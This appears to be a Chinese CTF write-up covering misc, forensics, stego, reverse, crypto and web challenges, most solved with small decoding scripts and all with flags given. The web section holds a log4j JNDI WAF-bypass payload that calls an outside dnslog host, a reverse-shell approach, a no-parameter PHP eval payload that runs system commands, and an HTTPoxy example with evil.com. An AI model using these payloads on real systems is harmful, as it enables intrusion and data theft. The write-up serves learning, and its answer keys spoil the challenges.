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MISC

名称放了不给审核通过(见下图)

朴实无华的取证

无字天书

名称放了不给审核通过(见下图)
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misc题目附件请自取：
链接：https://pan.baidu.com/s/1fBuwvOvYLX7G-vzqbDBDtQ 
提取码：259p

MISC

名称放了不给审核通过名称放了不给审核通过(见下图见下图)



cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

朴实无华的取证朴实无华的取证





有几个可疑进程：

360zip.exe

notepad.exe

2345PicViewer.e

将得到的文件使用 010 Editor打开，提取这一部分另存为 .txt

继续查找 zip文件



继续查找 zip文件

得到的压缩包有密码，使用前面txt里面的日期： 20211209



//幼儿园水平的加密（部分）
void Encrypt(string& str)
{
 for(int i = 0; i < str.length(); i++)
 {
  if(str[i] >='a'&& str[i]<='w')
   str[i]+=3;
  else if(str[i]=='x')
   str[i]='a';
  else if(str[i]=='y')
   str[i]='b';
  else if(str[i]=='z')
   str[i]='c'; 
  else if(str[i]=='_')
   str[i]='|';
  str[i] -= 32;
 }
}



继续查看图片文件

得到的是一张bmp图片

得到一串密文，联系之前的得到的处理密文逻辑，使用Python简单逆处理逻辑即可得到flag



flag_str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
flag_str = list(flag_str)
for i in range(len(flag_str)):
 flag_str[i] = chr(ord(flag_str[i]) + 32)
 if ord(flag_str[i]) >= ord('a') + 3 and ord(flag_str[i]) <= ord('w') + 3:
  flag_str[i] = chr(ord(flag_str[i]) - 3)
 elif flag_str[i] == 'a':
  flag_str[i] = 'x'
 elif flag_str[i] == 'b':
  flag_str[i] = 'y'
 elif flag_str[i] == 'c':
  flag_str[i] = 'z'
 elif flag_str[i] == '|':
  flag_str[i] = '_'
 print(flag_str[i],end="")

PS C:\Users\Administrator\Downloads> python .\code.py
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

无字天书无字天书



多数为HTTP/TCP流量，直接导出HTTP

在线站直接将十六进制字节流转为zip文件：https://the-x.cn/encodings/Hex.aspx

key.ws是 whitespace

https://the-x.cn/encodings/Hex.aspx


key.ws是 whitespace

Whitespace: https://vii5ard.github.io/whitespace/
直接复制进去点击 RUN

https://vii5ard.github.io/whitespace/


得到key： XiAnWillBeSafe

然后利用 SNOW隐写工具解 flag.txt

PS D:\Tools\Misc\snwdos32> .\SNOW.EXE -p XiAnWillBeSafe -C .\flag.txt
cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}

名称放了不给审核通过名称放了不给审核通过(见下图见下图)



在导出的文件中有一个 secret.txt，将其中的base64解码得到一个zip，利用在线站：https://the-x.cn/zh-cn/base64/

压缩包里面是很多碎图，需要拼图得到flag

数量不多，去掉不带有flag字符的图片则更少，直接手动拼，且从碎图种能看出是最近很火的图片，网上可直接找到原图做对比
拼图，使得拼图更加容易

https://the-x.cn/zh-cn/base64/


cazy{make_XiAN_great_Again}

ez_Encrypt



web123解码得到源码的压缩包

https://the-x.cn/zh-cn/base64/

https://the-x.cn/zh-cn/base64/


在 \app\controller\index.php种发现密文

执行一遍之后得到第二部分密文，然后两部分放一起

再次执行得到flag



cazy{PHP_ji4m1_1s_s00000_3aSyyyyyyyyyyy}

Ez_Steg



ARCHPR爆破即可

得到密码： 220101

emoji.txt是 emoji-aes；需要key解密

�������������✉����������������������������������☃���✉���☂���☂����☂�✉������☀��✖�������⌨��

steg.pyc存在 stegosaurus隐写

得到key： TheKey:St3g1sV3ryFuNny

emoji-aes：https://aghorler.github.io/emoji-aes/

解密得到flag

cazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke}

binary

https://aghorler.github.io/emoji-aes/


234是java编译文件

jadx反编译：https://github.com/skylot/jadx/releases/tag/v1.3.1

flag_list = [77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 11
9, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70,
 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120,
 77, 84, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 1
20, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 7
7, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120
, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77,
 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 
117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 8
4, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 11
7, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68,
 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117,
 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 6
9, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 7
7, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69,

https://github.com/skylot/jadx/releases/tag/v1.3.1


7, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69,
 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77,
 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 1
20, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 70, 120, 117, 77, 6
8, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 65, 119
, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84,
 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 
77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 70, 120, 117, 77, 84, 6
9, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77
, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 84, 65,
 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 
68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 1
20, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84
, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 65, 120
, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 
65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 
77, 68, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65
, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 120, 77
, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 65, 
120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 
68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 69, 11
9, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84
, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120,
 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 
65, 119, 77, 84, 65, 119, 
        77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77
, 68, 65, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65,
 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 
68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 70, 120, 117, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 1
20, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84
, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120
, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 
65, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 
77, 68, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69
, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77
, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 
120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 
84, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 12
0, 77, 68, 65, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68
, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 120,
 77, 84, 65, 119, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 
69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 7
7, 84, 69, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69
, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77,
 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 
120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 8
4, 69, 119, 77, 84, 65, 120, 77, 86, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 11
9, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68,
 69, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119,
 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 6
9, 119, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 7
7, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65,
 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77,
 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 1
19, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 8
4, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120
, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84,
 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 
77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 6
5, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77



5, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77
, 84, 65, 119, 77, 65, 61, 61]
for i in flag_list:
 print(chr(i),end="")

PS C:\Users\Administrator\Downloads> python .\code1.py
MDAwMDAwMDEwMTExMDAwMDAwMDAxMTExMTEwMTExMDAwMDAwMFxuMDExMTExMDEwMTEwMTAxMDExMTExMDAwMTExMDExMDExMTExMFxuMDEwMDAx
MDEwMDAwMTExMTAwMDExMTAxMDExMDExMDEwMDAxMFxuMDEwMDAxMDExMDAwMDAxMTAwMDExMTAwMDAwMTAxMDEwMDAxMFxuMDEwMDAxMDExMTAx
MTAxMTAwMTEwMTEwMTAxMTExMDEwMDAxMFxuMDExMTExMDEwMTExMDEwMDAwMDAwMTAwMTAwMDAxMDExMTExMFxuMDAwMDAwMDEwMTAxMDEwMTAx
MDEwMTAxMDEwMTAxMDAwMDAwMFxuMTExMTExMTEwMDEwMDAwMDAwMDEwMDExMDAxMTExMTExMTExMVxuMTEwMDAxMDEwMTAxMDAwMDEwMTExMTEx
MDEwMDAwMDAxMTAwMFxuMDEwMTEwMTAwMDExMDAxMDAxMDAwMDEwMDExMDEwMTAxMTEwMVxuMTAxMTAwMDAwMTAwMTExMTAwMTEwMDAxMTAxMDAw
MDAxMDAxMFxuMTExMDExMTExMTExMDAxMDEwMTEwMTAwMDExMDEwMTAxMTEwMFxuMTAxMDExMDAwMTExMDAwMDAwMDExMDEwMDAwMDAwMDAwMDAx
MFxuMDExMDEwMTAwMTAwMDEwMDAxMTAxMTEwMTAxMTEwMTExMTEwMVxuMDAxMDEwMDEwMDExMTExMTEwMTExMDAwMDExMDAxMDEwMDAxMFxuMDAx
MDAwMTEwMTExMDExMDExMDAxMTAwMTEwMDExMDAxMTEwMVxuMTExMDEwMDExMDAwMTExMTExMTAxMTAxMDAxMTAwMDAwMDAxMFxuMDAwMDExMTAx
MDEwMDAxMTEwMDAwMDEwMTEwMTExMTExMDExMVxuMTEwMTEwMDExMDEwMTEwMTAwMTEwMDAxMDEwMDExMDAwMDEwMFxuMDEwMTAwMTAwMTExMTAw
MTAwMDAwMTAwMTExMDAxMDAxMDExMVxuMDEwMTAxMDAxMTAwMDExMTAwMDExMDAxMDAwMDAxMDEwMTAwMFxuMTAwMTEwMTExMTEwMTExMDExMDAx
MDAxMTExMTEwMTAxMTEwMVxuMTEwMTEwMDAxMDExMTAwMDAwMDEwMTExMDExMDAwMTAxMTAxMFxuMDAxMTAwMTAwMDExMTEwMTEwMDAxMTExMDEw
MDEwMDExMTEwMVxuMDEwMTAwMDAwMTExMDEwMTExMDExMDEwMTExMTExMDEwMDAxMFxuMDEwMTAxMTAxMTAwMTAwMTAwMDAwMDExMDEwMDAxMDAx
MTExMVxuMDExMDEwMDAxMDAwMTExMDAxMDExMDAxMTAxMTExMTAwMTEwMFxuMDExMTAwMTExMTEwMDAwMDAxMDExMDExMDExMTAwMTExMTEwMFxu
MDEwMDExMDAxMDExMDAxMDEwMDAxMDExMTAxMTAwMDAwMDAwMFxuMTExMTExMTEwMTAxMTAwMTExMDAxMTEwMDEwMTAxMTEwMTAxMVxuMDAwMDAw
MDExMTAwMDExMTAxMTAxMDExMDAwMTAxMDEwMDEwMFxuMDExMTExMDExMTAwMTEwMTAxMDExMDEwMTEwMDAxMTEwMTExMVxuMDEwMDAxMDEwMDEx
MDAwMDExMDAxMTAxMDAwMDAwMDAwMDAxMFxuMDEwMDAxMDEwMTExMTEwMTEwMDAxMTExMTExMTExMDEwMDExMVxuMDEwMDAxMDEwMTEwMTExMTEx
MTEwMDAwMDAxMDEwMTAxMDExMFxuMDExMTExMDExMTExMTAwMDEwMTEwMTAwMTExMTAwMDExMDExMFxuMDAwMDAwMDExMTExMTAxMTExMDExMDAw
MDAwMDEwMDAxMTAwMA==

解码得到

0000000101110000000011111101110000000\n0111110101101010111110001110110111110\n0100010100001111000111010110110100
010\n0100010110000011000111000001010100010\n0100010111011011001101101011110100010\n01111101011101000000010010000
10111110\n0000000101010101010101010101010000000\n1111111100100000000100110011111111111\n110001010101000010111111
0100000011000\n0101101000110010010000100110101011101\n1011000001001111001100011010000010010\n1110111111110010101
101000110101011100\n1010110001110000000110100000000000010\n0110101001000100011011101011101111101\n00101001001111
11101110000110010100010\n0010001101110110110011001100110011101\n1110100110001111111011010011000000010\n000011101
0100011100000101101111110111\n1101100110101101001100010100110000100\n0101001001111001000001001110010010111\n0101
010011000111000110010000010101000\n1001101111101110110010011111101011101\n1101100010111000000101110110001011010\
n0011001000111101100011110100100111101\n0101000001110101110110101111110100010\n010101101100100100000011010001001
1111\n0110100010001110010110011011111001100\n0111001111100000010110110111001111100\n0100110010110010100010111011
000000000\n1111111101011001110011100101011101011\n0000000111000111011010110001010100100\n01111101110011010101101
01100011101111\n0100010100110000110011010000000000010\n0100010101111101100011111111110100111\n010001010110111111
1100000010101010110\n0111110111111000101101001111000110110\n0000000111111011110110000000100011000

二进制转字符无果，猜测二进制转黑白像素得到图片，猜测二维码，使用Python简单爆破下图片宽高为： 37

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101
1011010001001000101100000110001110000010101000100100010111011011001101101011110100010011111010111010000000100100
0010111110000000010101010101010101010101000000011111111001000000001001100111111111111100010101010000101111110100
0000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101
0101110010101100011100000001101000000000000100110101001000100011011101011101111101001010010011111110111000011001
0100010001000110111011011001100110011001110111101001100011111110110100110000000100000111010100011100000101101111
1101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101
0100010011011111011101100100111111010111011101100010111000000101110110001011010001100100011110110001111010010011
1101010100000111010111011010111111010001001010110110010010000001101000100111110110100010001110010110011011111001
1000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010
1100000001110001110110101100010101001000111110111001101010110101100011101111010001010011000011001101000000000001
0010001010111110110001111111111010011101000101011011111111000000101010101100111110111111000101101001111000110110
0000000111111011110110000000100011000'

for i in range(len(bin_data)):
 if i * i == len(bin_data):
  print(i)



使用Python将二进制数据转为黑白色块

from PIL import Image

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101
1011010001001000101100000110001110000010101000100100010111011011001101101011110100010011111010111010000000100100
0010111110000000010101010101010101010101000000011111111001000000001001100111111111111100010101010000101111110100
0000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101
0101110010101100011100000001101000000000000100110101001000100011011101011101111101001010010011111110111000011001
0100010001000110111011011001100110011001110111101001100011111110110100110000000100000111010100011100000101101111
1101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101
0100010011011111011101100100111111010111011101100010111000000101110110001011010001100100011110110001111010010011
1101010100000111010111011010111111010001001010110110010010000001101000100111110110100010001110010110011011111001
1000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010
1100000001110001110110101100010101001000111110111001101010110101100011101111010001010011000011001101000000000001
0010001010111110110001111111111010011101000101011011111111000000101010101100111110111111000101101001111000110110
0000000111111011110110000000100011000'

new_img = Image.new('RGB', (37,37))
width, height = 37, 37
i = 0
for w in range(width):
 for h in range(height):
  if bin_data[i] == '0':
   new_img.putpixel((w,h), (0,0,0))
  elif bin_data[i] == '1':
   new_img.putpixel((w,h), (255,255,255))
  else:
   break
  i += 1
new_img.save('flag.png')
new_img.show()



flag{932b2c0070e4897ea7df0190dbf36ece}

pipicc



另存出来修改文件头



blue 0通道发现JPG的字节流，不过是逆序的

Save Bin保存出来后，使用Python简单处理即可



from binascii import *

with open('blue0', 'rb') as f:
 hex_data = hexlify(f.read())[::-1]
 with open('flag.jpg', 'wb') as f1:
  for i in range(0, len(hex_data), 2):
   f1.write(unhexlify(hex_data[i:i+2][::-1]))

在得到的数据中，找到离文件尾 FF D9最近的文件头 FF D8

另存出这一段数据为 jpg即可得到flag



flag{e0ca4ccd3586700e59eb87a4bd3527b5}

WEB

Shiro?

shiro反序列化直接打，发现很多命令都执行不了
发现是 Sprint Boot框架



既然shiro打不进去，那换种思路，印象中Sprint Boot好像也存在最近大火的log4j RCE漏洞，可以尝试一下

发现存在waf检测
网上有log4j bypass绕过，fuzz测试下
测试绕过成功语句如下:
${${::-j}ndi:rmi://r5qm53.dnslog.cn/exp}

成功返回dnslog解析记录

尝试搭建ldap服务和http服务，构造语句反弹



成功反弹，读取flag

RCE_No_Para



<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

无参RCE，虽然过滤了很多关键字,但还是可以绕过。
通过传递自定义的新变量给数组，返回指定值，从而实现RCE。
构造payload:

?code=eval(current(array_reverse(current(get_defined_vars()))));&a=system('cat flag.php')

查看源码得到flag

Flag配送中心配送中心



参考：HTTPoxy漏洞（CVE-2016-5385）

根据 RFC 3875规定， CGI（fastcgi）要将用户传入的所有 HTTP头都加上 HTTP_前缀放入环境变量中，而恰好大多数类库约定

俗成会提取环境变量中的 HTTP_PROXY值作为 HTTP代理地址。于是，恶意用户通过提交 Proxy: http://evil.com这样

的 HTTP头，将使用缺陷类库的网站的代理设置为 http://evil.com，进而窃取数据包中可能存在的敏感信息。

https://blog.csdn.net/weixin_43072923/article/details/117016775




REVERSE

combat_slogan

丢进ida然后 search找一下 main函数



找到一串字符

看起来像凯撒之后的flag，凯撒移位测试一下即可得到flag

flag{We_w11l_f1ght_t0_end_t0_end_cazy}

cute_doge



IDA打开， Shift+F12查找字符串，翻阅发现一串很明显的base64编码后的flag开头字符串

>>> from base64 import *
>>> b64decode('ZmxhZ3tDaDFuYV95eWRzX2Nhenl9')
b'flag{Ch1na_yyds_cazy}'



CRYPTO

no_cry_no_can

c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
key=""
for i in range(5):
        if i==0:
                key+=chr(c[i]^ord('c'))
        if i==1:
                key+=chr(c[i]^ord('a'))
        if i==2:
                key+=chr(c[i]^ord('z'))
        if i==3:
                key+=chr(c[i]^ord('y'))
        if i==4:
                key+=chr(c[i]^ord('{'))
flag = ""
for i in range(len(c)):
        if i % 5 == 0:
                flag += chr(c[i] ^ ord(key[0]))
        if i % 5 == 1:
                flag += chr(c[i] ^ ord(key[1]))
        if i % 5 == 2:
                flag += chr(c[i] ^ ord(key[2]))
        if i % 5 == 3:
                flag += chr(c[i] ^ ord(key[3]))
        if i % 5 == 4:
                flag += chr(c[i] ^ ord(key[4]))
print(flag)

PS C:\Users\Administrator\Desktop> python 1.py
cazy{y3_1s_a_h4nds0me_b0y!}



创作打卡挑战赛 
赢取流量/现金/CSDN周边激励大奖
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